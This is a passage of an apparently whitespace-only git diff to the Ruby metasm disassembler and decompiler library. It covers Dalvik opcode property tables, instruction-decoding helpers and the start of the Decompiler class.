<< :rb << :u16 + when :fmt30t; op.args << :i32 + when :fmt31t, :fmt31c; op.args << :raa << :u32 + when :fmt32x; op.args << :r16 << :r16 + when :fmt31i; op.args << :raa << :i32 + when :fmt35ca + op.args << :r16 << :rlist5 + when :fmt35c, :fmt35ms + # rlist: + # nr of regs in :ib (max 5) + # regs: :ib.times { reg :i16 & 0xf ; :i16 >>= 4 } + # reg :ra if :ib == 5 + op.args << :m16 << :rlist5 + when :fmt3inline + op.args << :r16 << :rlist4 + when :fmt3rc, :fmt3rms + # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 + op.args << :r16 << :rlist16 + when :fmt51l + # u64 = u16 | (u16 << 16) | ... + op.args << :raa << :u64 + when :fmtUnknown + op.args << :iaa + else + raise "Internal error #{fmt.inspect}" + end + end - def addop_props(op) - case op.name - when 'nop', 'move', 'move_from16', 'move_16', 'move_wide', - 'move_wide_from16', 'move_wide_16', 'move_object', - 'move_object_from16', 'move_object_16', 'move_result', - 'move_result_wide', 'move_result_object', - 'move_exception', 'const_4', 'const_16', 'const', - 'const_high16', 'const_wide_16', 'const_wide_32', - 'const_wide', 'const_wide_high16', 'fill_array_data', - 'cmpl_float', 'cmpg_float', 'cmpl_double', - 'cmpg_double', 'cmp_long', 'neg_int', 'not_int', - 'neg_long', 'not_long', 'neg_float', 'neg_double', - 'int_to_long', 'int_to_float', 'int_to_double', - 'long_to_int', 'long_to_float', 'long_to_double', - 'float_to_int', 'float_to_long', 'float_to_double', - 'double_to_int', 'double_to_long', 'double_to_float', - 'int_to_byte', 'int_to_char', 'int_to_short', 'add_int', - 'sub_int', 'mul_int', 'and_int', 'or_int', 'xor_int', - 'shl_int', 'shr_int', 'ushr_int', 'add_long', - 'sub_long', 'mul_long', 'and_long', 'or_long', - 'xor_long', 'shl_long', 'shr_long', 'ushr_long', - 'add_float', 'sub_float', 'mul_float', 'div_float', - 'rem_float', 'add_double', 'sub_double', 'mul_double', - 'div_double', 'rem_double', 'add_int_2addr', - 'sub_int_2addr', 'mul_int_2addr', 'and_int_2addr', - 'or_int_2addr', 'xor_int_2addr', 'shl_int_2addr', - 'shr_int_2addr', 'ushr_int_2addr', 'add_long_2addr', - 'sub_long_2addr', 'mul_long_2addr', 'and_long_2addr', - 'or_long_2addr', 'xor_long_2addr', 'shl_long_2addr', - 'shr_long_2addr', 'ushr_long_2addr', 'add_float_2addr', - 'sub_float_2addr', 'mul_float_2addr', 'div_float_2addr', - 'rem_float_2addr', 'add_double_2addr', - 'sub_double_2addr', 'mul_double_2addr', - 'div_double_2addr', 'rem_double_2addr', 'add_int_lit16', - 'rsub_int', 'mul_int_lit16', 'and_int_lit16', - 'or_int_lit16', 'xor_int_lit16', 'add_int_lit8', - 'rsub_int_lit8', 'mul_int_lit8', 'and_int_lit8', - 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', - 'shr_int_lit8', 'ushr_int_lit8' - # normal opcode, continues to next, nothing raised - when 'const_string', 'const_string_jumbo', 'const_class', - 'monitor_enter', 'monitor_exit', 'check_cast', - 'instance_of', 'array_length', 'new_instance', - 'new_array', 'filled_new_array', - 'filled_new_array_range', 'aget', 'aget_boolean', - 'aget_byte', 'aget_char', 'aget_short', 'aget_wide', - 'aget_object', 'aput', 'aput_boolean', 'aput_byte', - 'aput_char', 'aput_short', 'aput_wide', 'aput_object', - 'iget', 'iget_boolean', 'iget_byte', 'iget_char', - 'iget_short', 'iget_wide', 'iget_object', 'iput', - 'iput_boolean', 'iput_byte', 'iput_char', 'iput_short', - 'iput_wide', 'iput_object', 'sget', 'sget_boolean', - 'sget_byte', 'sget_char', 'sget_short', 'sget_wide', - 'sget_object', 'sput', 'sput_boolean', 'sput_byte', - 'sput_char', 'sput_short', 'sput_wide', 'sput_object', - 'div_int', 'rem_int', 'div_long', 'rem_long', - 'div_int_2addr', 'rem_int_2addr', 'div_long_2addr', - 'rem_long_2addr', 'div_int_lit16', 'rem_int_lit16', - 'div_int_lit8', 'rem_int_lit8' - op.props[:canthrow] = true - when 'invoke_virtual', 'invoke_virtual_range', 'invoke_super', - 'invoke_super_range', 'invoke_direct', - 'invoke_direct_range', 'invoke_static', - 'invoke_static_range', 'invoke_interface', - 'invoke_interface_range' - op.props[:canthrow] = true - op.props[:saveip] = true - op.props[:setip] = true - op.props[:stopexec] = true - when 'return_void', 'return', 'return_wide', 'return_object' - op.props[:setip] = true - op.props[:stopexec] = true - when 'throw' - op.props[:canthrow] = true - op.props[:stopexec] = true - when 'goto', 'goto_16', 'goto_32' - op.props[:setip] = true - op.props[:stopexec] = true - when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le', - 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', - 'if_lez' - op.props[:setip] = true - when 'packed_switch', 'sparse_switch' - op.props[:setip] = true # if no table match, nostopexec - op.props[:setip] = true - when 'throw_verification_error' - op.props[:canthrow] = true - op.props[:stopexec] = true - when 'execute_inline' - when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', - 'iput_quick', 'iput_wide_quick', 'iput_object_quick' - op.props[:canthrow] = true - when 'invoke_virtual_quick', 'invoke_virtual_quick_range', - 'invoke_super_quick', 'invoke_super_quick_range', - 'invoke_direct_empty' - op.props[:canthrow] = true - op.props[:saveip] = true - op.props[:setip] = true - op.props[:stopexec] = true - when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', - 'unused_42', 'unused_43', 'unused_73', 'unused_79', - 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', - 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', - 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', - 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', - 'unused_ff' - op.props[:stopexec] = true - else - raise "Internal error #{op.name}" - end - end + def addop_props(op) + case op.name + when 'nop', 'move', 'move_from16', 'move_16', 'move_wide', + 'move_wide_from16', 'move_wide_16', 'move_object', + 'move_object_from16', 'move_object_16', 'move_result', + 'move_result_wide', 'move_result_object', + 'move_exception', 'const_4', 'const_16', 'const', + 'const_high16', 'const_wide_16', 'const_wide_32', + 'const_wide', 'const_wide_high16', 'fill_array_data', + 'cmpl_float', 'cmpg_float', 'cmpl_double', + 'cmpg_double', 'cmp_long', 'neg_int', 'not_int', + 'neg_long', 'not_long', 'neg_float', 'neg_double', + 'int_to_long', 'int_to_float', 'int_to_double', + 'long_to_int', 'long_to_float', 'long_to_double', + 'float_to_int', 'float_to_long', 'float_to_double', + 'double_to_int', 'double_to_long', 'double_to_float', + 'int_to_byte', 'int_to_char', 'int_to_short', 'add_int', + 'sub_int', 'mul_int', 'and_int', 'or_int', 'xor_int', + 'shl_int', 'shr_int', 'ushr_int', 'add_long', + 'sub_long', 'mul_long', 'and_long', 'or_long', + 'xor_long', 'shl_long', 'shr_long', 'ushr_long', + 'add_float', 'sub_float', 'mul_float', 'div_float', + 'rem_float', 'add_double', 'sub_double', 'mul_double', + 'div_double', 'rem_double', 'add_int_2addr', + 'sub_int_2addr', 'mul_int_2addr', 'and_int_2addr', + 'or_int_2addr', 'xor_int_2addr', 'shl_int_2addr', + 'shr_int_2addr', 'ushr_int_2addr', 'add_long_2addr', + 'sub_long_2addr', 'mul_long_2addr', 'and_long_2addr', + 'or_long_2addr', 'xor_long_2addr', 'shl_long_2addr', + 'shr_long_2addr', 'ushr_long_2addr', 'add_float_2addr', + 'sub_float_2addr', 'mul_float_2addr', 'div_float_2addr', + 'rem_float_2addr', 'add_double_2addr', + 'sub_double_2addr', 'mul_double_2addr', + 'div_double_2addr', 'rem_double_2addr', 'add_int_lit16', + 'rsub_int', 'mul_int_lit16', 'and_int_lit16', + 'or_int_lit16', 'xor_int_lit16', 'add_int_lit8', + 'rsub_int_lit8', 'mul_int_lit8', 'and_int_lit8', + 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', + 'shr_int_lit8', 'ushr_int_lit8' + # normal opcode, continues to next, nothing raised + when 'const_string', 'const_string_jumbo', 'const_class', + 'monitor_enter', 'monitor_exit', 'check_cast', + 'instance_of', 'array_length', 'new_instance', + 'new_array', 'filled_new_array', + 'filled_new_array_range', 'aget', 'aget_boolean', + 'aget_byte', 'aget_char', 'aget_short', 'aget_wide', + 'aget_object', 'aput', 'aput_boolean', 'aput_byte', + 'aput_char', 'aput_short', 'aput_wide', 'aput_object', + 'iget', 'iget_boolean', 'iget_byte', 'iget_char', + 'iget_short', 'iget_wide', 'iget_object', 'iput', + 'iput_boolean', 'iput_byte', 'iput_char', 'iput_short', + 'iput_wide', 'iput_object', 'sget', 'sget_boolean', + 'sget_byte', 'sget_char', 'sget_short', 'sget_wide', + 'sget_object', 'sput', 'sput_boolean', 'sput_byte', + 'sput_char', 'sput_short', 'sput_wide', 'sput_object', + 'div_int', 'rem_int', 'div_long', 'rem_long', + 'div_int_2addr', 'rem_int_2addr', 'div_long_2addr', + 'rem_long_2addr', 'div_int_lit16', 'rem_int_lit16', + 'div_int_lit8', 'rem_int_lit8' + op.props[:canthrow] = true + when 'invoke_virtual', 'invoke_virtual_range', 'invoke_super', + 'invoke_super_range', 'invoke_direct', + 'invoke_direct_range', 'invoke_static', + 'invoke_static_range', 'invoke_interface', + 'invoke_interface_range' + op.props[:canthrow] = true + op.props[:saveip] = true + op.props[:setip] = true + op.props[:stopexec] = true + when 'return_void', 'return', 'return_wide', 'return_object' + op.props[:setip] = true + op.props[:stopexec] = true + when 'throw' + op.props[:canthrow] = true + op.props[:stopexec] = true + when 'goto', 'goto_16', 'goto_32' + op.props[:setip] = true + op.props[:stopexec] = true + when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le', + 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', + 'if_lez' + op.props[:setip] = true + when 'packed_switch', 'sparse_switch' + op.props[:setip] = true # if no table match, nostopexec + op.props[:setip] = true + when 'throw_verification_error' + op.props[:canthrow] = true + op.props[:stopexec] = true + when 'execute_inline' + when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', + 'iput_quick', 'iput_wide_quick', 'iput_object_quick' + op.props[:canthrow] = true + when 'invoke_virtual_quick', 'invoke_virtual_quick_range', + 'invoke_super_quick', 'invoke_super_quick_range', + 'invoke_direct_empty' + op.props[:canthrow] = true + op.props[:saveip] = true + op.props[:setip] = true + op.props[:stopexec] = true + when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', + 'unused_42', 'unused_43', 'unused_73', 'unused_79', + 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', + 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', + 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', + 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', + 'unused_ff' + op.props[:stopexec] = true + else + raise "Internal error #{op.name}" + end + end end end diff --git a/lib/metasm/metasm/decode.rb b/lib/metasm/metasm/decode.rb index cbe752f8850d4..56fc2a561f750 100644 --- a/lib/metasm/metasm/decode.rb +++ b/lib/metasm/metasm/decode.rb @@ -12,202 +12,202 @@ module Metasm # symbolic pointer dereference # API similar to Expression class Indirection < ExpressionType - # Expression (the pointer) - attr_accessor :target - alias pointer target - alias pointer= target= - # length in bytes of data referenced - attr_accessor :len - # address of the instruction who generated the indirection - attr_accessor :origin - - def initialize(target, len, origin) - @target, @len, @origin = target, len, origin - end - - def reduce_rec - ptr = Expression[@target.reduce] - (ptr == Expression::Unknown) ? ptr : Indirection.new(ptr, @len, @origin) - end - - def bind(h) - h[self] || Indirection.new(@target.bind(h), @len, @origin) - end - - def hash ; @target.hash^@len.to_i end - def eql?(o) o.class == self.class and [o.target, o.len] == [@target, @len] end - alias == eql? - - include Renderable - def render - ret = [] - qual = {1 => 'byte', 2 => 'word', 4 => 'dword', 8 => 'qword'}[len] || "_#{len*8}bits" if len - ret << "#{qual} ptr " if qual - ret << '[' << @target << ']' - end - - # returns the complexity of the expression (number of externals +1 per indirection) - def complexity - 1+@target.complexity - end - - def self.[](t, l, o=nil) - new(Expression[*t], l, o) - end - - def inspect - "Indirection[#{@target.inspect.sub(/^Expression/, '')}, #{@len.inspect}#{', '+@origin.inspect if @origin}]" - end - - def externals - @target.externals - end - - def match_rec(target, vars) - return false if not target.kind_of? Indirection - t = target.target - if vars[t] - return false if @target != vars[t] - elsif vars.has_key? t - vars[t] = @target - elsif t.kind_of? ExpressionType - return false if not @target.match_rec(t, vars) - else - return false if targ != @target - end - if vars[target.len] - return false if @len != vars[target.len] - elsif vars.has_key? target.len - vars[target.len] = @len - else - return false if target.len != @len - end - vars - end + # Expression (the pointer) + attr_accessor :target + alias pointer target + alias pointer= target= + # length in bytes of data referenced + attr_accessor :len + # address of the instruction who generated the indirection + attr_accessor :origin + + def initialize(target, len, origin) + @target, @len, @origin = target, len, origin + end + + def reduce_rec + ptr = Expression[@target.reduce] + (ptr == Expression::Unknown) ? ptr : Indirection.new(ptr, @len, @origin) + end + + def bind(h) + h[self] || Indirection.new(@target.bind(h), @len, @origin) + end + + def hash ; @target.hash^@len.to_i end + def eql?(o) o.class == self.class and [o.target, o.len] == [@target, @len] end + alias == eql? + + include Renderable + def render + ret = [] + qual = {1 => 'byte', 2 => 'word', 4 => 'dword', 8 => 'qword'}[len] || "_#{len*8}bits" if len + ret << "#{qual} ptr " if qual + ret << '[' << @target << ']' + end + + # returns the complexity of the expression (number of externals +1 per indirection) + def complexity + 1+@target.complexity + end + + def self.[](t, l, o=nil) + new(Expression[*t], l, o) + end + + def inspect + "Indirection[#{@target.inspect.sub(/^Expression/, '')}, #{@len.inspect}#{', '+@origin.inspect if @origin}]" + end + + def externals + @target.externals + end + + def match_rec(target, vars) + return false if not target.kind_of? Indirection + t = target.target + if vars[t] + return false if @target != vars[t] + elsif vars.has_key? t + vars[t] = @target + elsif t.kind_of? ExpressionType + return false if not @target.match_rec(t, vars) + else + return false if targ != @target + end + if vars[target.len] + return false if @len != vars[target.len] + elsif vars.has_key? target.len + vars[target.len] = @len + else + return false if target.len != @len + end + vars + end end class Expression - # returns the complexity of the expression (number of externals +1 per indirection) - def complexity - case @lexpr - when ExpressionType; @lexpr.complexity - when nil, ::Numeric; 0 - else 1 - end + - case @rexpr - when ExpressionType; @rexpr.complexity - when nil, ::Numeric; 0 - else 1 - end - end - - def expr_indirections - ret = case @lexpr - when Indirection; [@lexpr] - when ExpressionType; @lexpr.expr_indirections - else [] - end - case @rexpr - when Indirection; ret << @rexpr - when ExpressionType; ret.concat @rexpr.expr_indirections - else ret - end - end + # returns the complexity of the expression (number of externals +1 per indirection) + def complexity + case @lexpr + when ExpressionType; @lexpr.complexity + when nil, ::Numeric; 0 + else 1 + end + + case @rexpr + when ExpressionType; @rexpr.complexity + when nil, ::Numeric; 0 + else 1 + end + end + + def expr_indirections + ret = case @lexpr + when Indirection; [@lexpr] + when ExpressionType; @lexpr.expr_indirections + else [] + end + case @rexpr + when Indirection; ret << @rexpr + when ExpressionType; ret.concat @rexpr.expr_indirections + else ret + end + end end class EncodedData - # returns an ::Integer from self.ptr, advances ptr - # bytes from rawsize to virtsize = 0 - # ignores self.relocations - def get_byte - @ptr += 1 - if @ptr <= @data.length - b = @data[ptr-1] - b = b.unpack('C').first if b.kind_of? ::String # 1.9 - b - elsif @ptr <= @virtsize - 0 - end - end - - # reads len bytes from self.data, advances ptr - # bytes from rawsize to virtsize are returned as zeroes - # ignores self.relocations - def read(len=@virtsize-@ptr) - len = @virtsize-@ptr if len > @virtsize-@ptr - str = (@ptr < @data.length) ? @data[@ptr, len] : '' - str = str.to_str.ljust(len, "\0") if str.length < len - @ptr += len - str - end - - # decodes an immediate value from self.ptr, advances ptr - # returns an Expression on relocation, or an ::Integer - # if ptr has a relocation but the type/endianness does not match, the reloc is ignored and a warning is issued - # TODO arg type => sign+len - def decode_imm(type, endianness) - raise "invalid imm type #{type.inspect}" if not isz = Expression::INT_SIZE[type] - if rel = @reloc[@ptr] - if Expression::INT_SIZE[rel.type] == isz and rel.endianness == endianness - @ptr += rel.length - return rel.target - end - puts "W: Immediate type/endianness mismatch, ignoring relocation #{rel.target.inspect} (wanted #{type.inspect})" if $DEBUG - end - Expression.decode_imm(read(isz/8), type, endianness) - end - alias decode_immediate decode_imm + # returns an ::Integer from self.ptr, advances ptr + # bytes from rawsize to virtsize = 0 + # ignores self.relocations + def get_byte + @ptr += 1 + if @ptr <= @data.length + b = @data[ptr-1] + b = b.unpack('C').first if b.kind_of? ::String # 1.9 + b + elsif @ptr <= @virtsize + 0 + end + end + + # reads len bytes from self.data, advances ptr + # bytes from rawsize to virtsize are returned as zeroes + # ignores self.relocations + def read(len=@virtsize-@ptr) + len = @virtsize-@ptr if len > @virtsize-@ptr + str = (@ptr < @data.length) ? @data[@ptr, len] : '' + str = str.to_str.ljust(len, "\0") if str.length < len + @ptr += len + str + end + + # decodes an immediate value from self.ptr, advances ptr + # returns an Expression on relocation, or an ::Integer + # if ptr has a relocation but the type/endianness does not match, the reloc is ignored and a warning is issued + # TODO arg type => sign+len + def decode_imm(type, endianness) + raise "invalid imm type #{type.inspect}" if not isz = Expression::INT_SIZE[type] + if rel = @reloc[@ptr] + if Expression::INT_SIZE[rel.type] == isz and rel.endianness == endianness + @ptr += rel.length + return rel.target + end + puts "W: Immediate type/endianness mismatch, ignoring relocation #{rel.target.inspect} (wanted #{type.inspect})" if $DEBUG + end + Expression.decode_imm(read(isz/8), type, endianness) + end + alias decode_immediate decode_imm end class Expression - # decodes an immediate from a raw binary string - # type may be a length in bytes, interpreted as unsigned, or an expression type (eg :u32) - # endianness is either an endianness or an object than responds to endianness - def self.decode_imm(str, type, endianness, off=0) - type = INT_SIZE.keys.find { |k| k.to_s[0] == ?a and INT_SIZE[k] == 8*type } if type.kind_of? ::Integer - endianness = endianness.endianness if not endianness.kind_of? ::Symbol - str = str[off, INT_SIZE[type]/8].to_s - str = str.reverse if endianness == :little - val = str.unpack('C*').inject(0) { |val_, b| (val_ << 8) | b } - val = make_signed(val, INT_SIZE[type]) if type.to_s[0] == ?i - val - end - class << self - alias decode_immediate decode_imm - end + # decodes an immediate from a raw binary string + # type may be a length in bytes, interpreted as unsigned, or an expression type (eg :u32) + # endianness is either an endianness or an object than responds to endianness + def self.decode_imm(str, type, endianness, off=0) + type = INT_SIZE.keys.find { |k| k.to_s[0] == ?a and INT_SIZE[k] == 8*type } if type.kind_of? ::Integer + endianness = endianness.endianness if not endianness.kind_of? ::Symbol + str = str[off, INT_SIZE[type]/8].to_s + str = str.reverse if endianness == :little + val = str.unpack('C*').inject(0) { |val_, b| (val_ << 8) | b } + val = make_signed(val, INT_SIZE[type]) if type.to_s[0] == ?i + val + end + class << self + alias decode_immediate decode_imm + end end class CPU - # decodes the instruction at edata.ptr, mapped at virtual address off - # returns a DecodedInstruction or nil - def decode_instruction(edata, addr) - @bin_lookaside ||= build_bin_lookaside - di = decode_findopcode edata - di.address = addr if di - di = decode_instr_op(edata, di) if di - decode_instr_interpret(di, addr) if di - end - - # matches the binary opcode at edata.ptr - # returns di or nil - def decode_findopcode(edata) - DecodedInstruction.new self - end - - # decodes di.instruction - # returns di or nil - def decode_instr_op(edata, di) - end - - # may modify di.instruction.args for eg jump offset => absolute address - # returns di or nil - def decode_instr_interpret(di, addr) - di - end - - # number of instructions following a jump that are still executed - def delay_slot(di=nil) - 0 - end + # decodes the instruction at edata.ptr, mapped at virtual address off + # returns a DecodedInstruction or nil + def decode_instruction(edata, addr) + @bin_lookaside ||= build_bin_lookaside + di = decode_findopcode edata + di.address = addr if di + di = decode_instr_op(edata, di) if di + decode_instr_interpret(di, addr) if di + end + + # matches the binary opcode at edata.ptr + # returns di or nil + def decode_findopcode(edata) + DecodedInstruction.new self + end + + # decodes di.instruction + # returns di or nil + def decode_instr_op(edata, di) + end + + # may modify di.instruction.args for eg jump offset => absolute address + # returns di or nil + def decode_instr_interpret(di, addr) + di + end + + # number of instructions following a jump that are still executed + def delay_slot(di=nil) + 0 + end end end diff --git a/lib/metasm/metasm/decompile.rb b/lib/metasm/metasm/decompile.rb index 09912936822f6..a835f44946826 100644 --- a/lib/metasm/metasm/decompile.rb +++ b/lib/metasm/metasm/decompile.rb @@ -14,2646 +14,2646 @@ class C::Block; attr_accessor :decompdata; end class DecodedFunction; attr_accessor :decompdata; end class CPU - def decompile_check_abi(dcmp, entry, func) - end + def decompile_check_abi(dcmp, entry, func) + end end class Decompiler - # TODO add methods to C::CExpr - AssignOp = [:'=', :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'>>=', :'<<=', :'++', :'--'] - - attr_accessor :dasm, :c_parser - attr_accessor :forbid_optimize_dataflow, :forbid_optimize_code, :forbid_decompile_ifwhile, :forbid_decompile_types, :forbid_optimize_labels - # recursive flag: for each subfunction, recurse is decremented, when 0 only the prototype is decompiled, when <0 nothing is done - attr_accessor :recurse - - def initialize(dasm, cp = dasm.c_parser) - @dasm = dasm - @recurse = 1/0.0 # Infinity - @c_parser = cp || @dasm.cpu.new_cparser - end - - # decompile recursively function from an entrypoint, then perform global optimisation (static vars, ...) - # should be called once after everything is decompiled (global optimizations may bring bad results otherwise) - # use decompile_func for incremental decompilation - # returns the c_parser - def decompile(*entry) - entry.each { |f| decompile_func(f) } - finalize - @c_parser - end - - # decompile a function, decompiling subfunctions as needed - # may return :restart, which means that the decompilation should restart from the entrypoint (and bubble up) (eg a new codepath is found which may changes dependency in blocks etc) - def decompile_func(entry) - return if @recurse < 0 - entry = @dasm.normalize entry - return if not @dasm.decoded[entry] - - # create a new toplevel function to hold our code - func = C::Variable.new - func.name = @dasm.auto_label_at(entry, 'func') - if f = @dasm.function[entry] and f.decompdata and f.decompdata[:return_type] - rettype = f.decompdata[:return_type] - else - rettype = C::BaseType.new(:int) - end - func.type = C::Function.new rettype, [] - if @c_parser.toplevel.symbol[func.name] - return if @recurse == 0 - if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } - # recursive dependency: declare prototype - puts "function #{func.name} is recursive: predecompiling for prototype" if $VERBOSE - pre_recurse = @recurse - @recurse = 0 - @c_parser.toplevel.symbol.delete func.name - decompile_func(entry) - @recurse = pre_recurse - if not dcl = @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } - @c_parser.toplevel.statements << C::Declaration.new(func) - end - end - return - end - @c_parser.toplevel.symbol[func.name] = func - puts "decompiling #{func.name}" if $VERBOSE - - while catch(:restart) { do_decompile_func(entry, func) } == :restart - retval = :restart - end - - @c_parser.toplevel.symbol[func.name] = func # recursive func prototype could have overwritten us - @c_parser.toplevel.statements << C::Declaration.new(func) - - puts " decompiled #{func.name}" if $VERBOSE - - retval - end - - # calls decompile_func with recurse -= 1 (internal use) - def decompile_func_rec(entry) - @recurse -= 1 - decompile_func(entry) - ensure - @recurse += 1 - end - - def do_decompile_func(entry, func) - # find decodedinstruction graph of the function, decompile subfuncs - myblocks = listblocks_func(entry) - - # [esp+8] => [:frameptr-12] - makestackvars entry, myblocks.map { |b, to| @dasm.decoded[b].block } - - # find registry dependencies between blocks - deps = @dasm.cpu.decompile_func_finddeps(self, myblocks, func) - - scope = func.initializer = C::Block.new(@c_parser.toplevel) - if df = @dasm.function[entry] - scope.decompdata = df.decompdata ||= {:stackoff_type => {}, :stackoff_name => {}} - else - scope.decompdata ||= {:stackoff_type => {}, :stackoff_name => {}} - end - - # di blocks => raw c statements, declare variables - @dasm.cpu.decompile_blocks(self, myblocks, deps, func) - - simplify_goto(scope) - namestackvars(scope) - unalias_vars(scope, func) - decompile_c_types(scope) - optimize(scope) - remove_unreferenced_vars(scope) - cleanup_var_decl(scope, func) - if @recurse > 0 - decompile_controlseq(scope) - optimize_vars(scope) - optimize_ctrl(scope) - optimize_vars(scope) - remove_unreferenced_vars(scope) - simplify_varname_noalias(scope) - rename_variables(scope) - end - @dasm.cpu.decompile_check_abi(self, entry, func) - - case ret = scope.statements.last - when C::CExpression; puts "no return at end of func" if $VERBOSE - when C::Return - if not ret.value - scope.statements.pop - else - v = ret.value - v = v.rexpr if v.kind_of? C::CExpression and not v.op and v.rexpr.kind_of? C::Typed - func.type.type = v.type - end - end - - if @recurse == 0 - # we need only the prototype - func.initializer = nil - end - end - - # redecompile a function, redecompiles functions calling it if its prototype changed - def redecompile(name) - @c_parser.toplevel.statements.delete_if { |st| st.kind_of? C::Declaration and st.var.name == name } - oldvar = @c_parser.toplevel.symbol.delete name - - decompile_func(name) - - if oldvar and newvar = @c_parser.toplevel.symbol[name] and oldvar.type.kind_of? C::Function and newvar.type.kind_of? C::Function - o, n = oldvar.type, newvar.type - if o.type != n.type or o.args.to_a.length != n.args.to_a.length or o.args.to_a.zip(n.args.to_a).find { |oa, na| oa.type != na.type } - # XXX a may depend on b and c, and b may depend on c -> redecompile c twice - # XXX if the dcmp is unstable, may also infinite loop on mutually recursive funcs.. - @c_parser.toplevel.statements.dup.each { |st| - next if not st.kind_of? C::Declaration - next if not st.var.initializer - next if st.var.name == name - next if not walk_ce(st) { |ce| break true if ce.op == :funcall and ce.lexpr.kind_of? C::Variable and ce.lexpr.name == name } - redecompile(st.var.name) - } - end - end - end - - def new_global_var(addr, type, scope=nil) - addr = @dasm.normalize(addr) - - # (almost) NULL ptr - return if addr.kind_of? Fixnum and addr >= 0 and addr < 32 - - # check preceding structure we're hitting - # TODO check what we step over when defining a new static struct - 0x100.times { |i_| - next if not n = @dasm.get_label_at(addr-i_) - next if not v = @c_parser.toplevel.symbol[n] - next if not v.type.pointer? or not v.type.pointed.untypedef.kind_of? C::Union - break if i_ == 0 # XXX it crashes later if we dont break here - next if sizeof(v.type.pointed) <= i_ - return structoffset(v.type.pointed.untypedef, C::CExpression[v], i_, nil) - } - - ptype = type.pointed.untypedef if type.pointer? - if ptype.kind_of? C::Function - name = @dasm.auto_label_at(addr, 'sub', 'xref', 'byte', 'word', 'dword', 'unk') - if @dasm.get_section_at(addr) and @recurse > 0 - puts "found function pointer to #{name}" if $VERBOSE - @dasm.disassemble(addr) if not @dasm.decoded[addr] # TODO disassemble_fast ? - f = @dasm.function[addr] ||= DecodedFunction.new - # TODO detect thunks (__noreturn) - f.decompdata ||= { :stackoff_type => {}, :stackoff_name => {} } - if not s = @c_parser.toplevel.symbol[name] or not s.initializer or not s.type.untypedef.kind_of? C::Function - os = @c_parser.toplevel.symbol.delete name - @c_parser.toplevel.statements.delete_if { |ts| ts.kind_of? C::Declaration and ts.var.name == name } - aoff = 1 - ptype.args.to_a.each { |a| - aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] - f.decompdata[:stackoff_type][aoff] ||= a.type - f.decompdata[:stackoff_name][aoff] ||= a.name if a.name - aoff += sizeof(a) # ary ? - } - decompile_func_rec(addr) - s = @c_parser.toplevel.symbol[name] - walk_ce([@c_parser.toplevel, scope]) { |ce| - ce.lexpr = s if ce.lexpr == os - ce.rexpr = s if ce.rexpr == os - } if os and s # update existing references to old instance - # else redecompile with new prototye ? - end - end - end - - name = case (type.pointer? && tsz = sizeof(nil, ptype)) - when 1; 'byte' - when 2; 'word' - when 4; 'dword' - else 'unk' - end - name = 'stru' if ptype.kind_of? C::Union - name = @dasm.auto_label_at(addr, name, 'xref', 'byte', 'word', 'dword', 'unk', 'stru') - - if not var = @c_parser.toplevel.symbol[name] - var = C::Variable.new - var.name = name - var.type = type.pointer? ? C::Array.new(ptype) : type - @c_parser.toplevel.symbol[var.name] = var - @c_parser.toplevel.statements << C::Declaration.new(var) - end - if ptype.kind_of? C::Union and type.pointer? and s = @dasm.get_section_at(name) and s[0].ptr < s[0].length - # TODO struct init, array, fptrs.. - elsif type.pointer? and not type.pointed.untypedef.kind_of? C::Function and s = @dasm.get_section_at(name) and s[0].ptr < s[0].length and - [1, 2, 4].include? tsz and (not var.type.pointer? or sizeof(var.type.pointed) != sizeof(type.pointed) or not var.initializer) - # TODO do not overlap other statics (but labels may refer to elements of the array...) - data = (0..256).map { - v = s[0].decode_imm("u#{tsz*8}".to_sym, @dasm.cpu.endianness) - v = decompile_cexpr(v, @c_parser.toplevel) if v.kind_of? Expression # relocation - v - } - var.initializer = data.map { |v| C::CExpression[v, C::BaseType.new(:int)] } unless (data - [0]).empty? - if (tsz == 1 or tsz == 2) and eos = data.index(0) and (0..3).all? { |i| data[i] >= 0x20 and data[i] < 0x7f } # printable str - # XXX 0x80 with ruby1.9... - var.initializer = C::CExpression[data[0, eos].pack('C*'), C::Pointer.new(ptype)] rescue nil - end - if var.initializer.kind_of? ::Array and i = var.initializer.first and i.kind_of? C::CExpression and not i.op and i.rexpr.kind_of? C::Variable and - i.rexpr.type.kind_of? C::Function and not @dasm.get_section_at(@dasm.normalize(i.rexpr.name)) # iat_ExternalFunc - i.type = i.rexpr.type - type = var.type = C::Array.new(C::Pointer.new(i.type)) - var.initializer = [i] - end - var.initializer = nil if var.initializer.kind_of? ::Array and not type.untypedef.kind_of? C::Array - end - - # TODO patch existing references to addr ? (or would they have already triggered new_global_var?) - - # return the object to use to replace the raw addr - var - end - - # return an array of [address of block start, list of block to]] - # decompile subfunctions - def listblocks_func(entry) - @autofuncs ||= [] - blocks = [] - entry = dasm.normalize entry - todo = [entry] - while a = todo.pop - next if blocks.find { |aa, at| aa == a } - next if not di = @dasm.di_at(a) - blocks << [a, []] - di.block.each_to { |ta, type| - next if type == :indirect - ta = dasm.normalize ta - if type != :subfuncret and not @dasm.function[ta] and - (not @dasm.function[entry] or @autofuncs.include? entry) and - di.block.list.last.opcode.props[:saveip] - # possible noreturn function - # XXX call $+5; pop eax - @autofuncs << ta - @dasm.function[ta] = 